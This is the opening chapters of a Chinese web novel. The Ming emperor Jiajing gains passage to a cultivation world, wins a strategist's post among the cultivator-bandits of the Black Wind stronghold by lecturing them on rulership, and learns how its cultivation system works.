《大明:万寿帝君修仙了!》 第一章 我嘉靖,有一个修仙世界! 明嘉靖三十九年。 西苑,玉熙宫,冬夜。 “陛下,大喜,天降瑞雪了!”大殿之外,年轻太监尖锐的声音回荡着。 那位于宫殿当中间,道台上的精舍中。 听着门外大报瑞雪喜讯的声音,朱聪的脸色却是没有一点好看。 一张老脸,阴沉的吓人,眼角都在抽动。 “我竟然是嘉靖?!我怎么能是嘉靖!”朱聪拳头捏的梆硬,浑身都在发抖,被气的。 首先,他不是穿越的,而是投胎。 其次,就在刚刚,他才觉醒前世的记忆! 他从一个期待周六早上太阳的上班族,一觉醒来就到了四百多年前,大明冬天的夜晚! 眼睛一闭一睁,几个世纪就这么过去了。 现在的自己,丹毒入体,满身都是重金属中毒后的红斑丘疹,身体已经残破,疼痛不堪。 最让他崩溃的是,现在是嘉靖三十九年,他只剩下六年好活了,甚至满算不到六年! 穿越一遭,好处他是一点都没粘上,临老临老,该受罪了,他也是一点都没打算拉下。 之后迎接他的会是什么? 被海瑞骂到吐血,病痛折磨,青史骂名! 知道的越多,越痛苦,这句话朱聪今天算是切身体会到了。 虽然后人对他的评价也有不同的声音,但人贵在自知,最难的是骗自己。 作为亲身经历者,他清楚自己这一世,几十年来的所作所为,到底是不是昏君! 要他自己来评价,那就是纯纯昏君! “——嘶!” 突然,四肢又传来阵阵发麻和疼痛,让他从郁闷的心情中回了神。 撩起衣袖和裤腿,看见手臂和四肢上,布满了密密麻麻的红斑丘疹后……想死了! 就他现在这情况,哪怕回到现代,估计也会被医院判个回天乏术。 “唉!”许久后,郁闷的朱聪,不,此时应该说是嘉靖了,长叹一口气,眼底苦涩浮动。 “一個腐朽,摇摇欲坠的大明。一具毒入脏腑的残躯…罢了,总不能真的一头创死…… 六年时间就六年时间,能改多少算多少吧……” 两世为人,此世几十年皇帝生涯。 虽然如今,他的心态因为前世二十几年的记忆激活了几分,但他的接受能力,还有意志力,却远不是小年轻能比拟的! 既然他觉醒了前世记忆,多少对大明历史还算知道点的他,自然不能再继续维持旧状了。 为了自己,为了大明,必须要做出改变了,哪怕这个改变,不会有太大作用。 时间太少了,可他也要尽可能的去做! 想着,嘉靖掀开围帐,从精舍中走出,来到窗前推开窗户。 “呼!”顿时,一股寒流裹挟着飞雪,迎面吹来,伴随着的还有一股新鲜,冰凉的空气入口,让他有些燥热的身体,舒服了很多。 看着满天的大雪,嘉靖心中正要思考接下来该怎么充分利用这六年改变大明的时候,突然只觉得眼前意识一阵恍惚。 紧跟着,脑海中就涌入一大堆信息。 而后,消化了脑海中突然涌入信息的嘉靖,瞪大着双眼,呼吸都在这一刻变得急促起来。 如果不是此刻已经适应了几十年皇帝生涯的心态,他甚至要忍不住大吼一嗓子! 他的外挂,到账了! 在他最绝望,心里最没底的时候! “一方修仙世界!” “一方可以真正修仙长生的修仙世界!” 嘉靖绷不住了,双拳紧握,半弓着身子,压抑的兴奋,让他抬脚狠狠的跺了跺地板。 “——砰砰砰。”心脏剧烈跳动。 “哗!”突然,嘉靖大袖一甩,向精舍飞奔而去,然后便开始绕着八卦道图开始疾走。 嗯,虽然觉醒了记忆,让他的心态激活了不少,但这个长久以来的习惯还是没变。 这跟迷信已经没有多大关系了。 这个习惯有助于他冥想,平复心情。 每当他情绪激动,或是有什么重大决策的时候,就会以此来平复心情,甚至是寄希望于“天道”,或者“仙神”降下指示。 两界穿梭! 他可以自由在那一方修仙世界和大明之间,来回往返,且没有任何的限制。 而且两个世界的物品也可以互相搬用。 那个世界也有凡人,得益于修仙者的存在,农业更是前所未有的发达。 如此说来,那岂不是说一些大明没有,或者说海外才有,甚至此界都不存在的粮食都有! 单单此一条,就足以让大明百姓吃饱饭,能解决现如今大明的绝大多数问题。 此外,两个世界在时间流速上是一致的。 唯一的区别就是昼夜不同,大明是白天,那么修仙界就是黑夜,反之同理。 “一方浩瀚的修仙世界,朕就有望成仙,实现真正的长生,甚至就连大明也会跟着脱胎换骨。 天灾又如何?若大明是一方仙朝……” 此时,嘉靖的思维很是发散,混乱! 这一刻,他想到了很多,从自身,再到整个大明。 步子也越走越快,一手指上,一手置于腹前,无意识的快速掐动着,大脑也在高速运转。 不知道过了多久,当在大脑中进行了一番大致的接下来的目标和计划梳理后,嘉靖停了下来。 “呼!”深吸一口气后吐出,嘉靖低眉垂目,朝着脚下看去,当看到自己停在的卦位后,嘴角露出一抹笑容,“离卦,天意在朕!” 几十年的习惯,哪能说改就改,至少现在看来,这是一个很好的兆头。 就算是修仙者,也很在意运势一说! 心绪彻底平复后,嘉靖抬手将肩膀上有些散乱的长发摆手置于脑后,开口道:“吕芳!” 暂时压下立刻进入修仙世界的激动,他需要准备嘱咐一番,才能放心的去往另一个世界。 之前,冯保打死了周云逸,自己下了罪己诏,之后就一直闭关到现在。 不过闭关不是辟谷,他还是要吃饭的,所以贴身太监吕芳一直伺候在身边。 自己突然不见了,可不能让任何人知晓,至少在自己拥有绝对修为前,修仙之事要绝对保密! 不一会,一个满头白发,穿着打扮朴素,跟普通人家管家一般无二的老仆走了进来。 “恭喜主子,修为精进。” 吕芳看着脸颊略有细汗的嘉靖,还有这位主子站的方位,顿时道贺。 “呵。”听着吕芳的吹捧,嘉靖知道这些人不过是说过年话,让自己开心,轻笑着道:“沐浴,更衣。” “是,奴婢这就安排。” 看着自家这位脾气古怪的主子高兴了,吕芳心里也不由的狠狠松了口气。 之前的罪己诏,虽然这位主子嘴上不说,但他心里可清楚的很,这位有几分傲娇,偶尔还有小孩心性的主子心里早已酝酿了滔天的怒火! 因此,宫里上下都怕的紧。 现在这位爷高兴了,他们这些下人,心里悬着的大石也跟着落了下来。 吕芳办事自然是干净利索,沐浴用的一切东西,很快就准备齐全。 嘉靖忙着要去修仙世界,也没功夫细泡,只是简单洗漱后,换了一套新衣,然后以有所感悟为由,叮嘱吕芳接下来几天不准踏入宫殿半步。 如果送饭食,只需要从小门下的暗格送进来,也不用收拾,一切等自己出关再打扫。 这些,吕芳自然是一一仔细应答下来。 毕竟自家这位主子这样的闭关感悟天道,也不是一次两次了,他很有经验。 等全部安排妥当,吕芳也离开后,嘉靖这才心念一动,整个人消失在了原地。 “……” 第二章 神奇的修仙界!这算是,面试吗? “柳老,您是个聪明人。” 迷迷糊糊中,嘉靖听到一个声音嘶哑,有些烟嗓的中年男声。 “现在大荒什么情况您也知道,正乱呢。” “各方散修,但凡有点势力的都凑了过来,还有那些大宗派,牛鬼蛇神汇聚,啧啧……” “还有大荒深处的古兽,更是个顶個的发疯,咱们这些活在大荒的人呐,朝不保夕。” 嘉靖感觉自己的身体正在慢慢恢复控制。 冥冥中他心有所明悟,明白这是身体在适应此界,等他下次进入,就不会有这种情况了。 一时间,嘉靖心里倒也放松了下来。 一边听着身边的动静,一边暗暗思索了起来。 “大荒?是修仙界哪一片星域?北斗、南斗、三垣?又或是二十八宿里的某一星?” 在金手指觉醒的第一时间,他脑海中就对修仙世界的大地图有了一个笼统的印象。 修仙界并不是单纯的一颗星球,而是群星璀璨,构建星域,按照星域划分。 而且,修仙界的地域划分,似乎跟天上的北斗七星、南斗六星,三垣二十八宿的名字所对应。 但具体的某一界,某座城这些,就不知道了。 “我黑风寨大当家,可是金丹期的大修士,二当家,三当家也都是筑基期的强者。” 这时,那个沙哑的中年男声再次响起。 黑风寨?金丹大修士、筑基强者?莫非是在某个修仙的山匪寨子里?嘉靖心中暗暗思索。 金丹期,筑基期这些名词,对他来说既陌生又熟悉,第一时间就确定,这就是修仙境界。 没想到,仙侠小说里的境界,真的存在! “一旦开荒结束,黑风寨被书院敕封,允许开宗立派,那就是妥妥的中型宗门。” “我们承诺,届时您就是宗门长老!而那四方城内必然会多一个七品凡人家族,您的孙子就算不能修行,日后也能在家族衣食无忧!” “而且新宗派掌门三代以内,享受书院规则庇护,不会有任何势力倾轧吞并的情况。” “等大当家突破到元婴期,黑风寨就是有元婴老祖坐镇的宗门,前途无量啊……” 烟嗓男声循循善诱,似是在描绘一副宏伟蓝图。 “我已答应加入黄风谷了……”终于,那苍老的声音似乎被说中了,语气中有了迟疑。 “区区黄风谷而已,都是干些见不得人的勾当,以为取了个像模像样的名字就是个人了?”烟嗓男的声音中透露着不屑。 “黄风谷前身就是黄风寨,大当家也是金丹期,但那老东西这辈子元婴无望了!” “我们大当家正值壮年,潜力无穷,我黑风寨要的人,他们还敢抢回去不成?” “黄风谷若是识相便也罢,不识相……”说到这里,烟嗓男冷笑一声,道: “开辟战争,死个把人和合理吧? 大家都是烂人,对书院来说,允许参与开荒已是恩赐,岂会在意我等败类的死活?” 话毕,就是一阵长久的沉默。 不过嘉靖却知道,那个老者被说动了。 果然,不一会就听那苍老的声音像是下定了决定,道:“好,我答应加入你们!” “哈哈哈,好!”烟嗓男声大笑一声,“有柳老加入,我黑风寨定能开辟一条商道出来!” “来人!快带柳老去好生歇着,不可怠慢!” 一阵开门声响起,跟着脚步声响起,房间里似乎安静了下来。 也是在这时,嘉靖突然觉得喉咙一阵发痒。 “——咳!”一声咳嗽,身体也完全恢复,下意识的坐起身,而后又是一阵剧烈的咳嗽。 好半晌后,嗓子这才舒服了不少,嘉靖也抬头打量起了当前身处的环境。 一间约十平的牢房里。 明亮的光束从三个碗口大的石窗照射进来,光线中,尘糜浮动,他正坐在一垛干草上。 牢房?嘉靖没想到自己进入修仙世界,再次醒来后竟然会出现在牢房里。 “先生醒了。”这时,沙哑的烟嗓在耳边响起,嘉靖回过神,撇头朝说话的声音处看去。 一个干干瘦瘦,黑黢黢,身穿黑色粗布麻衣,袒露胸膛的中年男人。 男人看起来很是不修边幅。 一张黑黢黢的脸上,还有些泥点子。 一根木簪扎着松散的发髻,肥大宽厚的裤子上,还破了几个洞,脚下穿着一双草鞋,露出黑乎乎的脚背。 一手挎着腰,一手还在身后不停的抓呀抓,呲牙叼着一根干草的嘴角,噙着淡淡笑容。 看到他醒来,神情间露出一抹喜色。 如果不是心中有所猜测,这是山贼窝,他都要以为眼前之人是个乞丐了! “这里是?”嘉靖开口询问。 “大荒,黑风寨。”男人说着,上前一步,来到嘉靖面前,然后一屁股坐了下来。 “弟兄们下山接柳老的时候,在路边发现了先生,就带了回来。”男人说着,打量着嘉靖。 要盘问我了吗?嘉靖面上若有所思的点头,但心里却是已经开始想着,怎么回答了。 一个除了修仙境界跟后世仙侠小说里境界类似外,其他完全未知的世界,由不得他不重视。 “先生是细作吗?”突然,男人很是直白的问了这么一句。 如此直白吗?我说不信,你信吗?嘉靖被对方这话问的一愣,一时竟不知道如何回答。 “我……”正要开口,然后就见男子伸出一只手,而后让嘉靖惊异的一幕出现了。 只见在男子掌心,竟然出现一面人脸大的镜子。 看着镜子里,自己的脸,嘉靖心中警惕起来,“修仙者的法器吗!” 眼前之人,也是一名修士! “先生只需要如实回答在下即可,”中年男人开口,“我的本命物自会判断先生所言真假。” 本命物?测谎仪吗? 莫非是小说里的本命法宝? 难怪对方会这么直白的问是不是细作。 “我不是细作。”嘉靖摇了摇头。 不过目光却紧紧盯着那面在阳光的照射下,铺上了一层神秘光芒的镜子。 只见镜子在男人的掌心上方缓缓旋转。 牢房里变得越发的安静,嘉靖盯着镜子,一动不动,他甚至能听到自己的呼吸。 不过镜子始终没有任何的异动。 “好了。”男人突然微微一笑,然后一翻手,收起了镜子,看着嘉靖,满脸笑容。 这就完了?不再问问吗?嘉靖心中疑惑。 就算自己不是细作,难道就不问问身份来历,又或者是身世背景吗?这些不重要吗? “观先生的样子,像是个读书人?”中年人笑吟吟的看着嘉靖问道,黑黢黢的脸上似有期待。 修仙者也会对读书人有所期待吗? 虽是心中疑惑,不过嘉靖面上却点了点头,道:“读过书。” 言辞间,始终不卑不亢! 如果是没有觉醒前世记忆的他,看到修仙者,必然会当仙人对待,但有了后世记忆,开拓的眼界,自然不会表现的那么不堪。 而且,从男人的神态上看,似乎对读书人,颇为在意。 听到嘉靖说读过书,中年汉子眼前一亮,脸上笑意愈盛,不自觉的向前探了探身子,道: “那敢问先生可知,开辟宗门,建立家族后,如何才能宗门和家族经久不衰,长久的兴盛下去?” 嗯?这算是,面试吗? 看着对方脸上毫不掩饰的招揽之意,再联想到刚才对方跟另外一人的对话,也是招揽人才… 嘉靖知道,接下来的回答,或将决定自己的去留。 “……” 第三章 Boss直聘?黑风寨offer到手!或可为我所用! 加入黑风寨! 仅稍一想,嘉靖心中就有了决断。 就目前所知,黑风寨虽是山贼窝,但却是个有金丹期大修士坐镇的势力。 而且大当家未来很有可能会突破元婴。 他虽不敢确定元婴期在这个修仙界属于什么层次的修士,但从那汉子说起元婴期时,脸上的神情不难猜出,这绝对是一个了不得存在! 大树底下好乘凉的道理,他自然懂。 一個未知的世界,充满了危险,若是能加入一方势力倒也不失为一个稳妥之法。 至少目前看来,对方是在招揽读书人,不妨选择先加入,再做打算。 反正自己随时可以进出修仙世界,若是有什么变故,分分钟可以返回大明。 最重要的是,自己现在急需修仙功法,以及可以解决身体里毒素的灵丹妙药救命! 错过这个机会,一个凡人,想要在这未知的修仙界,弄到解毒的灵丹妙药,得到修仙法,谁知道要多久? 加入黑风寨,眼下来看是最优解。 一番权衡后,嘉靖开口了。 “我是个凡人,对宗门知之甚少,一家之言,如有错漏,还望海涵。”听到嘉靖这么说,中年汉子当即摆手,“先生尽管说就是,不碍事的。” 读书人在修仙世界,应该也有不少吧? 虽然不知道对方为何看起来很渴望招揽读书人的样子,但嘉靖暂时也不想去深究这些。 既然决定要加入黑风寨,那就要尽力! “私以为对于一个新兴的宗门或者家族来说,最重要的是规矩,”嘉靖严肃道:“无规矩不成方圆!” 听到这话,中年汉子微微点头。 山寨里头也是规矩大于天,没规矩的话,下面早都乱了套了。 “然,规矩,亦有区别。”嘉靖抬了抬眼皮。 他如何看不出来,眼前之人将“规矩”二字想的过于简单了。 而且就一句‘无规矩不成方圆’这种孩童都知道的道理,显然不足以让自己顺利拿到“offer”。 “区别?”中年汉子露出一个不太明白的表情,眼神中有探究之色。 规矩就是规矩,还有区别? “霸道和仁道的区别,”嘉靖淡淡开口,“行霸道者,规矩是以力服人。简单、快速、有效!” “行仁道者,规矩是以德服人。收心为上,漫长但治本,却也考验上位者的火候功力……”说着,嘉靖身子微微向后靠了靠,抵着墙壁。 此刻的他,身上隐隐开始透露出一股自信。 涉及到他身为皇帝的专业领域,自然而然的就会流露出一种独属于他的松弛感。 修仙之人如何?凡人如何? 权谋驭下之术的道理,都是相通的。 只知道镇压,打打杀杀,不用脑子,那是莽夫行为。 会用人,才是最简单,有效,才能事半功倍。 “规矩,是上位者制定的。” “但如何用规矩,这需要把握火候。” 看着眼前气度不凡的男人,中年汉子的表情也严肃了下来,这些道理,他还是头一次听! 一时间,松松垮垮的身体,也坐端正了几分。 “霸道,刚硬,但过刚易折……”说着,嘉靖看了对面认真听课的男人一眼,道:“例如山寨,上位者过于霸道,容易招下面的人怨恨。” “长此以往,终会爆发!” “或许这些人不是强者对手,但若是勾结外人,难免腹背受敌,生出意外。” “须知,强中自有强中手!” “仁道,上善若水,容易让人拥护,仍以山寨为例:上位者过于仁善,就会显得软弱。” “时间长了,会出现不服管教的情况,一旦稍加惩戒,就会心生怨恨。” “升米恩斗米仇,就是这个道理。” “上位者当刚柔并济,仁道与霸道并用。”说话间,嘉靖抬了抬手指,似是在点这中年汉子。 随着嘉靖简单通俗的讲述,中年男人对照自己平日里对山寨的观察,只觉得太有道理了! 一时间,竟有种饮甘泉美酒,如痴如醉之感。 他怎么也没想到,讲规矩竟然还有如此说法,这还是他头一次听,却莫名觉得,很有道理。 他想到了山寨里的三位当家,而后又不由的在心底暗暗叹息起来。 三位当家都是纯粹的山贼,没怎么读过书,不过是机缘巧合得了传承,才踏上了修仙之路。 近些年山寨规模壮大,他们也意识到读书的重要性,都开始了读书,求上进。 但读书可不光识字这么简单,虽然都识字了,可终究也不过是一群识字的山贼。 行事作风,为人处事,对山寨的管理上,依旧还是山贼那一套弱肉强食的血腥法则。 三分读书人的手段没学到,七分勾心斗角,却是愈演愈烈,山寨强则强,却也乌烟瘴气。 现在经‘高人’这么一提点,以往虽然有所感悟,但始终不得门路的道理,顿时豁然开朗。 原来,除了要讲规矩之外,还要会用规矩,制定规矩,这些东西书上可从来没有讲过。 一时间,这黑黢黢的中年汉子,看着嘉靖的眼神中,流露出了一抹尊敬之色。 这种眼神,嘉靖看惯了,自然没有什么想法,更不会自得,这点驭下之术,他的内阁随便拎出一个来,都会用的炉火纯青。 他相信,修仙世界很多上位者也懂这些道理,但这需要经年累月的积累沉淀,眼前这伙山贼说白了就是吃了没文化底蕴的亏。 不过,毕竟是山贼,修仙的山贼也是山贼,能懂得学习,知道读书很重要,已经难得了。 “说完了规矩的区别,再说说另外一个,不论是对宗门或是家族最重要的,”嘉靖说着,语气顿了顿,又跟着道:“人才!” “人才?”听到又是一个自己明白的词,不过这次,黑黢黢的中年汉子却知道,这位先生说的东西,跟自己理解的,完全不是一个层次! 要重规矩,收拢人才,这道理山贼都懂。 可谁能想到,这点道理之下,还有那么多讲究? 大道至简,诚不欺我! 越是窥探越是深不可测! 一时间,他呼吸都有些压低,身子坐的端正,生怕喘气太大声,打扰了先生授课! “先生且慢!” 就在嘉靖要继续开讲的时候,就听牢房走廊拐角处,传来一道厚重的粗嗓门。 继而,就听到地板都有些震动,像是有什么庞然大物走近的声音响了起来。 顺着声音源看去,嘉靖面色不由一变。 他看到了什么?怪兽?还是人? 嗯,是人!但说怪兽,也丝毫不为过! 三个体型宛若小山一样,身高最矮的也有七尺,高的足有八尺半,古铜色皮肤的人走近。 三个大家伙,浑身上下,都能看到鼓起的块块大肌上,那虬茎纵横的肌肉。 且,每一个人的身上,都有铠甲披挂。 一股凶悍,狂暴的气息扑面而来,说实话,嘉靖感觉自己能被这些人一只手捏死! 若是在大明,这三人就是亘古不有的绝世神将。 这三人不是别人,正是黑风寨的三位当家。 “先生,这是我们三位当家。”黑黢黢的中年汉子,看到三位当家到来,立刻开口为嘉靖介绍了起来。 嘉靖也不托大,起身一一见礼。 一番寒暄客套后,嘉靖对眼前几人也都有了一个基本的了解。 黑风寨的大当家姓独孤,单名一个英。 二当家和三当家虽不是兄弟,但因为都是孤儿,又志趣相投,干脆义结金兰,结拜为兄弟。 之后二人就跟老大独孤英一个姓了,为了讨个顺口,分别取名为独孤雄、独孤汉。 合起来,正好是个英雄汉! 至于这黑黢黢,看起来很是机敏的中年汉子,则是黑风寨的军师,姓刘,名权。 刘权是一介散修,偶然的机会被英雄汉三兄弟所救,干脆就跟着一起落草为寇。 至于嘉靖,交谈时则是报上了自己上一世的名字——朱聪! “先生大才,俺们都很敬佩,想一块听听。”老大独孤英对着嘉靖拱手,瓮声瓮气的说出了自己的想法。 其他两人也是学着样子,满脸的真诚。 这三兄弟说话时的言辞神态,总给人一种笨嘴拙舌的蠢笨感,但嘉靖却没有小瞧他们。 这是伙求上进,懂学习,手段狠辣且实力强大的修仙山贼,在修仙界还有“仙匪”的雅称。 再配上一个有识人、辩人,拆穿谎言能力的机敏军师,稍有不注意,就可能交恶。 一旦交恶,那么就是你死我活了。 这样的人,他是不会跟你在嘴上打机锋的。 “但若是能收服这伙山贼,或可为我所用……”突然,嘉靖心中生出了一个想法。 他是皇帝,最大的优势就是用人。 若是有自己的一股势力,那将其发展壮大,那在修仙路上,也省的什么都自己亲力亲为。 最重要的是,自己还要养一个大明,甚至是,将整个大明,也发展成一方仙朝! 那所需的资源,就更为庞大…… 一瞬间的功夫,嘉靖想到了很多,最后决定,尽最大可能,收服这伙山贼! 至于他眼下的危机,倒是不用担心了。 其实到了这一步,已经算是Boss直聘了,拿到黑风寨的offer,也是板上钉钉的节奏。 而且,看几人对自己敬重的模样,接下来跟他们讨要一些灵丹妙药解决自己身体里的毒素,应该也不成问题。 一个修仙势力,解决区区凡毒,太轻松了。 可以说,首次入修仙界,收获无比巨大,而接下来他要做的就是弄到修仙之法。 之后,就是融入黑风寨,然后慢慢收服他们。 此刻,嘉靖对未来的路,充满了信心。 “……” 第四章 帝王之道,修仙界也适用!入职黑风寨管理层! 十平米的牢房里。 嘉靖坐在草垛上,背靠墙壁。 明明是草垛,此刻却被他坐出了龙椅的感觉,浑身上下都散发着一股身为万寿帝君的气势。 既然已经决定要收服这伙山贼,那就先要拿出自己全部的人格魅力,首先得到他们的认可,之后再徐徐图之。 此刻的嘉靖,再次恢复了他身为皇帝的姿态。 不论是眉宇间的神态,又或是一举一动,都散发着一股令人极为舒适的松弛感,这种感觉,让在场的四个仙匪,有种说不上来的感觉。 这种感觉,让他们下意识的坐端正。 不知道为什么,总觉得有种莫名的紧张,同时,心里也隐隐抱着极大的期待。 这种期待,不是听大能讲道的那种,而是对那三言两语,就能说出鞭辟入里的语言魅力。 东西不多,能记住,还能瞬间领悟! 让他们有种想要一直听下去,而且停不下来的感觉,如饥似渴一般! 就一个,学不完,根本学不完! 三人中,块头最大的大当家独孤英,此时更是紧张的吞了口口水。 感觉比自己跟同级别的修士打一架还紧张。 一左一右的好汉弟弟,也是双手放在膝盖上,腰背挺得笔直,屁股更是使劲向后撅着。 “朱先生虽没有修为,但定不是个凡人。”刘权看着盘腿而坐,竟好似大能讲道一般,散发着莫名气势的嘉靖,心中暗暗说道。 “人才是什么,”嘉靖语气平淡,对几人的目光视而不见,“诸位都明白,这里不做赘述。” 三大一小闻言,脑袋都像是小鸡啄米一样的点头。 人才自然就是有本事的人了! 黑风寨,即将开辟宗门,百废待兴,他们就需要有本事的人! “宗派也好,家族也罢,发展兴盛都离不开一個又一个的人才,可是人才也分好坏。” “宗派家族,上位者多喜纯良忠厚之人,深恶勾心斗角,利益至上之辈。” 听到这里,英雄汉三兄弟和刘权,都颇为认同的点头。 不错,虽说山贼的生存法则,就是弱肉强食,心狠手辣,刀口舔血,能爽一天是一天。 可他们不同! 他们黑风寨是一群有追求,有内涵的山贼! 整个寨子上下,都按照正常的正道宗门来严格的要求自己,有时还会去私塾偷师。 一读书,就明智理,懂伦理纲常,信奉尊卑有序,自然就更喜欢寨子里那种老实憨厚,做事规矩,但同时还很讲义气的弟兄。 那些心思活络,利益至上的,本能的就会在心底防备着,觉着这种人稍有不慎就会背叛。 之前,他们甚至暗暗商量着,宗派家族建立后,想办法将一部分人排除出去。 毕竟,以后是正规宗门,可不是山寨了,一切行为,都要向他们认为的宗派模样看齐。 但他们不知道的是,很多道理不会在书本上,私塾先生只会教给孩子们为善,至于其他的,那是要出了学堂才会学会的东西。 嘉靖不理会几人怎么想,继续开讲。 “上位者治宗派家族,如用江河。” “长江水清,黄河水浊。长江在流,黄河也在流,”嘉靖说着,目光在四人面上扫过,“长江可灌溉两岸数地,养活无数人,黄河亦可。” “岂能因水清而偏用?水浊而弃之不用?长江泛滥,需要治理。黄河泛滥,也需要治理。” 嘉靖身子微微向前,看着四个坐的端正的山贼,“每个人都有他应有的作用和位置!” “谁能保证自己的宗派家族永远都行的端正,道义仁善?身处浊世,又有几家能干净?” “这时候就需要那些心思活络,利益当先之辈出面,为宗派家族做些脏活累活……” “宗派家族的面子,需要伟光正来粉饰。同样也需要必要的手段来充实里子。” “只有表里配合得当,上位者再定规矩治之,平衡双方,如此便可形成一条夯实的铁则!从而让宗派家族,人人各司其职,蒸蒸日上。” “此乃,用人之道!” 当然,这其实是帝王之道。 虽然是一些皮毛,但对山贼来说,够用了。 一番话说完,在场四人只觉得被打开了一条全新的“道”。 短短的几句话,简单直白,通俗易懂,三言两语如羚羊挂角般惬意轻松,却又深刻无比。 这些话,乍一听的感觉就是没什么,但听完以后就发现,这么简单的道理,我怎么就没想到? “先生,还请继续,我们太想进步了!” 大当家独孤英那满脸横肉的狰狞外表上,此刻全都是对“进步”的渴望之色。 一旁的好汉二兄弟也是脑袋如捣蒜,一副想要进步的模样。 军师刘权更是不知道什么时候开始,手里已经握着一颗鸡蛋大的留影石记录起来。 看样子是打算回去以后再看看“录播”,温习一遍,加深记忆。 看着好学的几个山贼,嘉靖心里也不由为之一笑,头一次看到山贼这么好学的,可以说,黑风寨这几人,打破了他对山贼的固有印象。 “说完了用人之道,接下来我们说说如何建立宗门内部的晋升机制……” 时间一分一秒过去。 一间小小的牢房里,嘉靖平淡的授课声响起,同时还夹杂着英雄汉三人和刘权的畅快笑声。 不知道过了多久,夜色降临。 清冷的月色从三个碗口大的石头窗口照进来。 “以上便是宗派治理的大致道理,具体如何实施还需要根据实际情况进行调整。” 嘉靖说着,有些疲惫的揉了揉眉心,他的身体有些吃不消了。 看着嘉靖疲惫的模样,独孤英和好汉弟弟以及刘权对视一眼,都明白了彼此的意思。 于是,四人齐齐起身,老大独孤英对着嘉靖拱起了手,敬重无比道:“先生,俺想正式邀请您加入我们,当我黑风寨的第二位军师!” “俺向您承诺,不日,我黑风寨就能开辟宗门。之后,您就是宗门长老!” 看着几人饱含期待的眼神,嘉靖心里微微一笑,一切都跟他料想的一样。 上了一天的课,不就是为了这一刻吗? 想及此处,嘉靖自然不会客气,当即拱手道:“承蒙当家看的起,那朱某就恭敬不如从命了。” “好,爽快!”见嘉靖没有其他书呆子那般迂腐墨迹的性格,英雄汉四人顿时都笑了。 他们敬重读书人,可也不是很喜欢读书人迂腐的那一套,喜欢爽快,利索的人。 不为别的,就为说起话来,痛快! “……” 第五章 本命与本命物 深夜。 黑风寨一处可以隔绝神识,完全封闭的,安全院落中。 这是黑风寨招待贵客的地方。 毕竟修仙界只要是筑基期的修士,就拥有了神识,想看哪,一个念头就能看到。 因此,修仙界也很注重隐私。 基本上只要是个修士,都会习惯性的在自己休息之所布置隔绝神识的禁制,或阵法。 黑风寨虽说是山寨,但寨子里的布置,全都是按照正规宗门的标准来的。 客房自然都有安排隔绝神识的阵法。 虽然嘉靖是个普通凡人,但在细节上却是丝毫不怠慢,甚至对嘉靖更为重视。 心中思索间,嘉靖心中一动,撩起自己的袖管和裤脚,只见原本布满红斑丘疹的皮肤,已经重新恢复正常,肤色也变得健康起来。 “不愧是修仙者!” 想到独孤英几人在送他回来后,说起身体毒素,在争得他同意后,直接一道灵力打入体内,跟着一口黑血喷出,体内毒素瞬间全消! 之后,又给他喂了一颗丹药,然后他就彻底的恢复正常了,身体甚至比之前更健康。 他一直紧张担心的,只剩下六年寿命的危机,就这么一会的功夫,被瞬间解决了。 这种不真实感,让嘉靖仿若做梦。 但同时,也更加坚定了要修仙的决心! 轻呼出一口气后,想到英雄汉和刘权几人,嘉靖又不由轻声一笑,“这几人,都是妙人。” 他原以为自己一個凡人,身体还有这么多来自凡俗的丹毒,又有不俗的谈吐,对方会旁敲侧击的询问一番,可谁知人家压根没问。 仅仅只是开头的时候问了一句是否是细作,然后关于自己的来历,身份,直接避而不谈。 似乎对他们来说,只要不是细作,如果愿意,就可以成为他们中的一员。 这让嘉靖不由心生感慨,山贼行好入! “其实,他们也懂规矩,但懂的是另外一套规矩,或者说是生存法则。” “山贼就是争地盘、抢资源。这些人目标纯粹,为了生存,内部奉行弱肉强食的法则,至于加入的人什么身份,有什么过去,他们不在乎!” “只一个,不是细作,有本事就够了。” 想着,嘉靖的目光又看向自己面前的一个小箱子,眼神中流露出一抹期待之色! 小箱子里共有四样东西。 一块铁制的令牌,这是黑风寨的军师令。 一个黑色的,巴掌大小,没有任何装饰,只是封口用两根绳子系着,看起来普通的布袋。 一本拇指厚的,泛黄的小册子。 一张成年人巴掌大小的白色纸条。 在烛火映照之下隐隐可以看到一道道流光闪烁,似乎是一个类似于符箓的玄妙图案。 嘉靖的目光放在那本泛黄的册子封面上。只见上面写着《基础引气诀》五个大字。 “修仙功法!”嘉靖目光微凝。 在询问过他是否想要修行,得到肯定的回答后,独孤英就大手一挥,给了他这个小箱子。 那个黑色的袋子是储物袋,属于修仙界的基础储物法宝,滴血认主后,就算是普通人也能用。 里面有一些基础的修仙资源,用独孤英的话说,虽然不多,但刚开始足够他使用了。 而那张白符纸条,也大有来头,名为“本命符箓”,是用来检测本命的! 提到本命,这就不得不说修仙的关键了。 一个人,如果想要修仙,就必须找到自己的本命。 而本命,理论上来讲,人皆有之。 它先天就生于人的识海深处。 至于本命具体是什么?它可以是一头猪,一顶帽子,一只袜子,一条河,一枚钱等等。 可以说是包罗万象也丝毫不为过! 此外,每个人的本命,还具备着一些相对应的能力,比如本命是一条河,那天然的与河流亲近,甚至是能达到控制河流的地步。 一般来说,找到本命的方法就是通过修炼《基础引气诀》引气入体,勾连到识海的本命。 找到本命之后,体内的灵气就具备了属性。 而确定本命属性,就需要将自身的灵气,输入到“本命符箓”中,符箓就会显示。 比如本命属性为火,那符箓上就会出现一个“火”字,适合修炼火属性功法。 大多数人,都是通过修炼引气诀,突破筑基,具备神识后进入识海,才能看到本命。 之后,打磨相对应的本命之物。 比如刘权,他虽然是炼气期,但因为一些奇遇,提前看到了自己的的本命是一块镜子。 且属性为土,于是就用土属性的材料,为自己炼制了一块镜子法宝做本命物。 修士以修为滋养本命物,本命物又反哺识海中的本命,三者形成一个良性的循环,相辅相成。 如此,修士的资质也会越来越好,修炼速度也会越来越快,修为自然也就越来越高。 比如有的人本命就是头凡猪,如果养了一头仙猪当本命物,那人也会跟着起飞! 也因此,修仙界有句非常盛行的话叫做: “仙路漫漫,孰云凡骨,实乃未琢之璞,期以时日,辉映乾坤。” 意思就是,乾坤未定,你我皆是黑马! 可以说这是个看起来,修仙路上充满了正能量,元气满满的修仙世界。 本命寒微不是耻辱,道心坚挺才是丈夫! 相信自己,未来是光明的,修仙的好日子,也是很有奔头儿的,要努力。 当然,理论上讲,本命人皆有之,修仙之路门槛看起来也很低,可也存在少数的例外。 比如,本命是那种“概念型本命”的,也就是抽象型的,那就比大多数人要艰难的多了。 这“概念型本命”又称“无根之命”。 意为,仙途犹如无根浮萍,随风而去了。 最简单的例子就是,本命为,气运、命数、情感、智慧、时间、空间等抽象之物。 